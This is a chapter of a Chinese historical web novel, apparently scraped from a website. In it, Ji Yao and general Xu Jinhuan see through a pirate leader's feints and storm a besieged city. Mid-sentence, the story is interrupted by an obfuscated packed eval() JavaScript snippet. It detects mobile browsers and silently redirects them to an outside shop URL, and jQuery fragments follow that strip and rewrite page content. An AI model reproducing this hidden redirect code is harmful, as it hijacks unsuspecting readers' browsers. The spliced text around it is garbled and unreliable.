56.障眼法

作品:《恶女纪鹞

    没有料到,吴太守一语成谶。


    约定之日,三路大军各就各位,严阵以待。


    从昨夜子时开始,直到今日酉时,许瑾欢都守在津口,不曾合眼休息。


    纪鹞看着他琥珀色的眸子,布满了鲜红的血丝。


    "许大人,你先去津楼歇息下,这里由我看着。"


    许瑾欢摇头道,"太阳快要落山了,很有可能胡莫会在晚上,突然发起奇袭。"


    他用手揉着太阳穴,"纪鹞,我的心里,有些不安。直到现在,我派出的斥候,依旧没有发现胡莫军队的踪迹。"


    他侧头看向纪鹞,"你说是不是很奇怪?"


    纪鹞垂眸,看着平静无波的蓝海。


    "着实可疑。有可能胡莫是同我们打心理战,故意消耗我军的耐力、志气,趁我军松懈时,一击击溃。还有一种可能,那便是我们被骗了。"


    许瑾欢回道:"原本我军可以以逸待劳,处于主动地位。但是大海可以掩盖海盗的行踪,倘若我军主动出击,而敌军既不在郎郡又不在海岛。这样的话,岂不是中了他们的调虎离山之计?"


    纪鹞抬头,看向海岸上,排列整齐的战船。


    "一切根源在于,我们只知胡莫凶残无比,但对他没有其他的了解。可从他给你下的战书来看,胡莫却非常了解你。"


    她接着道,"又或者,他非常了解你父亲的作战手法。"


    闻此,许瑾欢惊愕地看向纪鹞,"你所说的……正是我的担忧之处。"


    "纪鹞,从定完作战计划后,我总在想,还有没有什么进攻渠道,是我所遗漏的?"


    许瑾欢叹道,"可无论怎么想,都是没有结果的。一切看起来,算无遗策,却又令我……惴惴不安。"


    纪鹞看着他紧蹙的剑眉,"无论如何,至少祁郡……"


    提到祁郡,纪鹞的脑海里,突然闪过吴太守那张平平无奇的脸。


    紧接着,她生出了,一个无比荒谬的念头,"会不会,自始至终,胡莫的目标就不是祁郡?"


    许瑾欢目向远方,海平面上只残留一缕霞光。


    他沉声道:"若真是如此,怕已错过良机。目前,我们只能守在原地,应变一切突发事件。"


    纪鹞跟着,点了点头。


    但疑虑在他们的心中,疯狂生长。


    从天亮到日落,海盗的影子都未见到,这样的认知,让军队的氛围异常压抑。


    士兵们原本志气满满的神情,此时变得疲惫、茫然,甚至还有些害怕。


    黑幽幽的天空,像一个庞大的黑罩子般盖住了海。


    海水早已失去原本的颜色,变成了一个巨大的墨池子。


    海天一色,分不清它们的边界。


    放眼望去,哪里都是黑的,衬得岸上一排排玉兰花越发得白,甚至白得瘆人。


    海风一吹,玉兰树哗哗作响,煞白的花化成无数张冥纸,向众人飞来。


    海水扑涌着,散发出令人作呕的腥气。


    周围寂寥无比,越发衬出海水张牙舞爪的气势,让人分不清,下一秒从海里会浮出一个鬼怪亦或是千军万马的敌人,跑来向他们索命。


    没有什么能比,来自于大自然本身的恐怖,更能摧毁人心了。


    恐惧在众人的心中,肆意疯长,随着海浪声,一次又一次地摧残着他们的意志,磋磨着他们的气势。


    "报!"


    一个斥候兵快马赶来,险些冲入海中,在海岸边界堪堪停住。


    他连忙翻身下马,因太过着急,差点儿从马背上滚了下来。


    "禀告将军,桥州西南界,发现海盗的踪迹,他们正在攻打福郡。"


    许瑾欢的手,微微一抖,强力稳住心神,"多少兵力?"


    "回将军,不少于一千人。"


    "那……福郡,目前情况如何?"


    "福郡并未提前戒备,被打得措手不及,福郡太守正在紧急关闭城门,组织郡兵共同抵御海盗攻城。"


    纪鹞问道,"桥州绝大部分兵力,都被调来祁郡。我们需不需要,派兵支援福郡?"


    "不。",许瑾欢抬手拒绝。


    他目光深远,看着远处的海岛。


    "再等等,只有一千兵力,或许是胡莫的调虎离山之计。"


    话虽是这般说的,但纪鹞仍然注意到他紧握的手。


    狂风卷着怒浪,拍击着岩石,溅起的水花落在他们的身上。


    然而,海面上,依旧看不到海盗的身影。


    无休止的等待,是他们唯一能做的事情。


    "报!"


    又一声焦急的声音,打破了沉默。


    第二个斥候兵,下马来到许瑾欢的面前。


    "将军,桥州南界云郡,此时正被海盗攻打。"


    "多少兵力?"


    "回禀将军,约两千左右。"


    "接着再探!"


    "是!"


    马蹄声很快便消失不见。


    纪鹞看向许瑾欢,"胡莫究竟是如何,带兵潜入桥州,却未被察觉?"


    许瑾欢双手背后,"很有可能,在我们到来之前,便已经转移。当时,都说他退回海岛,但不知消息的真实性。如今看来,胡莫应该是分散兵力,从郎郡南边沿着椒河,逆流而上,来到了福郡和云郡。"


    "那我们还要继续,在这里等下去吗?"


    许瑾欢坚定地点头,"等。"


    "等到何时?如果云郡和福郡,都被胡莫占领了怎么办?"


    "纪鹞。",许瑾欢沉声道,"了解你的敌人,不只是在开战前,更重要的是打仗过程中。胡莫虽然派军攻打,可兵力太小。因此,我推测,这只是他的障眼法,他的主力定是在其他地方。"


    纪鹞看着他沉着冷静的神情,与往日里被她轻轻撩动,便害羞无措的样子,相差很大。


    银色的盔甲,向来不是束缚他的躯体,而是点燃他内心熄灭已久的火焰。


    他想成为,和他父亲许和宗,一样的人!


    而纪鹞,终于承认,他誓死卫国的真心。


    一声啸鸣音,极速地刺破夜空。


    纪鹞仰头,惊愕道:"这是响箭声!"


    许瑾欢紧绷下颌,"是武良山的方向。"


    他看向身侧副将,"津口就交由你来守,我给你留一千五的兵力。"


    紧接着,他看向众人,"其余的,跟我一同赴往武良山!"


    "遵命!"


    许瑾欢翻身上马,纪鹞跟在身侧。


    队伍很快排列整齐,一同向武良山的方向前去。


    刚走到半路,空中又响起啸鸣声。


    纪鹞问道,"这次是祁郡南门方向,究竟是什么情况?"


    许瑾欢紧握缰绳,"最坏的情况,便是武良山和祁郡,都在被胡莫军队攻打。"


    "那我们该如何支援?"


    "兵分两路,纪鹞,你带一半兵力,往北去支援武良山。我带其余兵力,向南支援祁郡!"


    "好!"


    纪鹞带兵快到武良山时,正面撞见应刺史正带兵赶来。


    "应刺史,你怎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111202|189160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么从武良山撤离了?"


    应楷忧心忡忡道,"一切都怪本官,竟没料到胡莫趁夜,带兵潜入武良山。"


    纪鹞敏锐地问出,"大军来袭,应该很快反应过来。使君大人,为何才发出响箭?"


    "问题就在于,他只带了一小波儿兵力,从武良山险径穿过,等我们发现时,他已带兵跑去。"


    他接着说道,"说来惭愧,本官还是因为听到男子叫声,才察觉到的。"


    男子?武良山?难道是木枝?


    纪鹞连忙问道,"那胡莫带兵跑去哪里?"


    "他定是发觉正门有林玖在守着,所以向南门跑去。"


    纪鹞回道,"也有可能,他的主力军本就在祁郡南门,一切都是他的障眼法。"


    她接着问道,"应刺史,有没有留兵力,继续看守武良山?"


    "有。而且林玖,仍在正门军帐守着。"


    "走,我们快去,支援许将军!"


    等到他们赶到城门时,城楼之上的士兵,已然变成了海盗,正在向城下射箭。


    而许瑾欢,正在带兵强势攻城。


    他看向应楷,"胡莫现在就在城中,正与祁郡守卫兵对战。劳烦使君带兵回到正门,同林玖一起打入祁郡,让城中百姓可以从那里先逃出去。"


    "好!"


    紧接着,许瑾欢看向纪鹞,"你带领军队撤后,向城墙射箭。"


    纪鹞点头,一声令下,齐声箭雨,向上而发。


    与海盗的箭,在空中交错中。


    许瑾欢对着负责冲车的士兵,喊道:"三、二、一,攻!"


    他同士兵一起努力推动车身,用悬吊的巨木,狠狠地撞击紧闭的城门。


    "咚!"


    沉闷浑厚的声音,仿佛大地在震鸣,带动整个城墙的颤动。


    "咚!"


    又一次的撞击,城门的缝隙变大了些。


    城上海盗头子,命令道:"向下扔石头!"


    一时间,石头滚落的轰鸣声、箭雨发射声、城门震颤声,还有士兵的惨叫声,混合在一起,振聋发聩。


    纪鹞见云梯上的士兵,全被巨石击落。


    她连忙向前跑去,带着步兵,"上云梯!补上去!"


    许瑾欢闻此,担忧地看向她,"纪鹞。"


    纪鹞扶住梯子,透过烽烟,冲他一笑。


    她灵活地躲避着,上方落下的石头、利箭,还有掉下来的士兵。


    余光中,身旁同行的士兵不断地被击落,又有新的补充上来。


    海盗们站在城墙上,高傲地看着他们前仆后继的挣扎。


    他们看着即将爬上的纪鹞军,笑着命令道,"泼热油!"


    一瞬间,热油从墙沿上倾泻而出。


    紧随而来的惨叫声,划破天际。


    纪鹞看着迎面扑来的热油,她掠过最后一个阶梯,飞跃到城墙之上。


    她一刀刺死其中一个海盗,和其他侥幸登上成功的士兵,共同与海盗们进行殊死搏斗。


    此时,城门下,"轰!"一声巨震。


    "城门破了,冲!"


    "冲!"


    士兵们兴奋的声音,在纪鹞的脚下响起。


    城墙上的海盗,脸上终于开始慌张,想要逃跑,被纪鹞一剑斩杀。


    随着云梯上来的士兵,越来越多,纪鹞快速地跑下城楼,与许瑾欢汇合。


    突然,一股难闻的味道,极速冲来。


    纪鹞忍不住干呕道,"这是什么味道?"


    "煮人肉的味道!"